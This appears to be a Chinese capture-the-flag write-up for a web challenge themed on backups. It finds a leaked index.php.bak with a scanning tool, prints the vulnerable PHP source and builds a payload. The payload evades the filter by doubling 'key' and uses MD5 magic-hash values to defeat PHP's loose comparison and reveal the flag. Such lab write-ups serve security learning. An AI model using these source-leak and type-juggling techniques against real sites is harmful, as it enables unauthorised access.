http://123.206.87.240:8002/web16/
通过提示 关键词 ’备份‘ 可以联想到 → 备份文件
备份文件一般都是.bak结尾的
用工具扫一下
这里推荐大佬的工具 yihangwang/SourceLeakHacker
可以看到index.php.bak
访问一下试试
有一个bak备份文件 ,不多解释了,下载后打开
1 <?php 2 /** 3 * Created by PhpStorm. 4 * User: Norse 5 * Date: 2017/8/6 6 * Time: 20:22 7 */ 8 9 include_once "flag.php"; 10 ini_set("display_errors", 0); 11 $str = strstr($_SERVER[‘REQUEST_URI‘], ‘?‘); 12 $str = substr($str,1); 13 $str = str_replace(‘key‘,‘‘,$str); 14 parse_str($str); 15 echo md5($key1); 16 17 echo md5($key2); 18 if(md5($key1) == md5($key2) && $key1 !== $key2){ 19 echo $flag."取得flag"; 20 } 21 ?>
11行strstr获得URI从‘?‘往后(包括‘?‘)的字符串
12行去掉‘?‘
13行把字符串中的‘key‘替换为空可以使用类似这样的语句:kkeyey 处理
14行parse_str把字符串解析到变量中
end 最后需要得到key1,key2不相等而二者md5相等,可以利用php弱类型比较绕过
https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708
wp :
https://blog.csdn.net/xuchen16/article/details/82756559
https://blog.csdn.net/eustiasora/article/details/79149411
原文:https://www.cnblogs.com/unixcs/p/10615902.html